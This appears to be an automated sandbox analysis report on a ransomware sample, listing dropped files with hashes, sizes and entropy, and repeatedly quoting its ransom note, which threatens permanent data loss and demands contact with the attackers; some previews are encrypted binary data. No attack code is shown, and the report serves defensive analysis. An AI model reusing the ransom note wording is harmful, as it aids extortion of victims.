Preview:	.<.x\mg...ZWN.Z6....1 0 obj.<</P......}...+&/.f.<</Entries[2 0 R.b}lF......M. R 6 0 R]/NextID_...eZ..;..dMC..ssBook>>/Type/PP./R..O..:X..._@er>>/V 65537>>/T.='a...X.f..!..dobj.2 0 obj.<</..@P".._JvL*...08204A130820389A.BV.g?.02.:.....CBD28300D06092A8....nK.8(..{..v5003069310B30090...C."."..J.VB..3312330210603550....\m..,=k..52053797374656D79k...t....L.WK..F7261746564311D3r.}KP...1..L..#.441646F626520547Z..........q.Ld.6696365733116301%.n.`r.Z.n>3P..1646F626520526F6\|........S.....HD303330313038323.nf....x....j.A2333031303930303..{..~.........B300906035504061E....C..`.......60355040A131A416%z.....%..:t..v.4656D7320496E636....gT#.v......g4311D301B0603550/L.X.y%........_5205472757374205....8j.!u.b..P.1163014060355040Hl.Z.v.]w....T0526F6F742043413l......+7z.U...A864886F70D01010Z.!...{L.....P082010A028201010.9......n"=hY..733537F3F9C12886...L....~?+=..W9AD1488F9C310D81.r.%..t.U....c+935B0CC6CA94C9C1dtz.[...m...M..4E2E02066453F398Ywk.S..'T.e.....624F60112B035DF5...L{..1

C:\Users\user\AppData\Roaming\Adobe\Acrobat\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Flash Player\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Flash Player\NativeCache\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Headlights\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Linguistics\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\LogTransport2\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\AddIns\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Credentials\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Excel\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Excel\XLSTART\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\MMC\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\MMC\eventvwr.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	142136
Entropy (8bit):	5.07981940394795
Encrypted:	false
SSDEEP:	768:BFTVyjv/gmNCqfDOR9EIhmEzbq+HMOhqW3j5ppn+oe:TBy1vbAjqaltplBe
MD5:	711715D21CAAB601BD95AED954EB36DE
SHA1:	AA349C7CA0FE30036E9FB7D5053F668630C7CAB2
SHA-256:	5EDE41CA22FF57DC3DE421E229AEBB4BBB84D799C7F9A08C2F0F1DE81EF31161
SHA-512:	D39822A17FC8C750E4FEB65A7BDB3ADEE65B998A989FE18D4646BBC045C1A5369E9DF51C620BB8BE10A933C9A94D814109F03ADCF5866F7AB01DF9EBE5EB79B5
Malicious:	false
Preview:	Q...0.....]M.0"?><MMC_ConsolX....7.<...-.fsion="3.0" Progr..y.D...OG....{.>.. <ConsoleFil..Oo...I....p.y.6C-4875-A856-3F6.[...u.~../.....oleFileID>.. <F..g..d=.?H?to..atusBar="true">...9>O.eN5eY..~.ement WPF_RESTOR=..!eP.5&...9..vue" ShowCommand=...S_l.{.{F..../D">.. <Poin...j..8..u..p}R.ion" X="-1" Y="-...R..wxC.<..ClEnt Name="MaxPosia..YZa.{;.......-1"/>.. <Re.b.0d..$.i..\|..rmalPosition" To...I.......B)..79" Left="72" Ri...~..8:...F.tl} </WindowPlacemeW...2.J....K(...ate>.. <Views>..l.e.l.w..\|..e.2" ScopePaneWidth.$....H;/L^0=..neWidth="-1">.. }..F.\X....pZ..ame="RootNode" N@.e-...m...\..fq <BookMark NamZ....].=6...}.^ NodeID="2">.. 1.H.\P........th>.. <Q.l..~......2..^Windows Logs" Cu...\|......].<...BvAHcAcwAgAEwAbw.3...1.N\9..... <Segment StR....w..q.sgJ.T.n" Custom="QQBwAg....Z.[.{v.j1GkAbwBuAA=="/>..[. /q...-ER3.q.kcPath>.. </....._..g.H... <WindowPlacemen..h;&/.+.<uT.E#AXIMIZED="true" Y.T.Q.d....H4..QSHOWMAXIMIZED">.b..!"PUc

C:\Users\user\AppData\Roaming\Microsoft\MMC\services.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	95496
Entropy (8bit):	5.094730117367067
Encrypted:	false
SSDEEP:	384:EGhpmhj9iS3jTNPE74nbHSbrhtGo7m+0CMQNj82MrS9TJO3LPG:EsgIoTBKsHShzm+LNj8coe
MD5:	D402A14C76A75CA6E26281A8A885D67B
SHA1:	1D169C1886EF5BE1F70336D919F29B13CDDB117B
SHA-256:	179713D7A9E3B788340AA6C515FB3DD7B93B3FC5F2974ED900DA3E55C88317FC
SHA-512:	1CD3EE52B0FA73D5D405F497CCC5BABD7759C509A9E14F797162C149B14E9BC130852C7D483A61D516C167C78EB31760EDD5623E634822C92DF813D16E1E4CF8
Malicious:	false
Preview:	\..4.-.O..x..N.l.0"?><MMC_Consol...^....lp...U.sion="3.0" Progr.].8.mD.we....NA>.. <ConsoleFil..8.....sH.\...<43-4CB9-913D-E4F.r._...^.qn..`..oleFileID>.. <F.p.f_.........=atusBar="true">....s.f.....@.ement WPF_RESTORbX..J(.?.......ue" ShowCommand=/.Z.}!.gob.O..=.D">.. <PoinD.}..$q.#A...I$Cion" X="-1" Y="-.W..Y.$cZ ....rnnt Name="MaxPosivO....@_.7!A...{-1"/>.. <Rej...a.e.=..M.N.2rmalPosition" ToH;...p+...9.i...60" Left="80" Ri^..I..vNJ.a.p.. </WindowPlaceme.`..F.&.}..B...ate>.. <Views>..:I....A....2.." ScopePaneWidth...\.F.\j.g.gd..neWidth="-1">.. P....r.$+.<K...ame="RootNode" N.+..D.u.e.... <BookMark Nam.r.2x^.d.$w...0X NodeID="3"/>.. ...7....q..O..]uement WPF_RESTORbX..J(.?.......ue" ShowCommand=/.Z.}!.gob.O..=.D">.. <Po./...MYPk.rE..ition" X="-1" Y=Z.T...,v....6-..<Point Name="Max.>5f]b.....!.7.p Y="-31"/>.. "<w:~..b..Z....Tame="NormalPosit.!.4..8+="!.Tu.1ttom="331" Left=P/..r..E...../>.. </Wind.$.*.tS...H.y.." <ViewOptions.1...b@.

C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
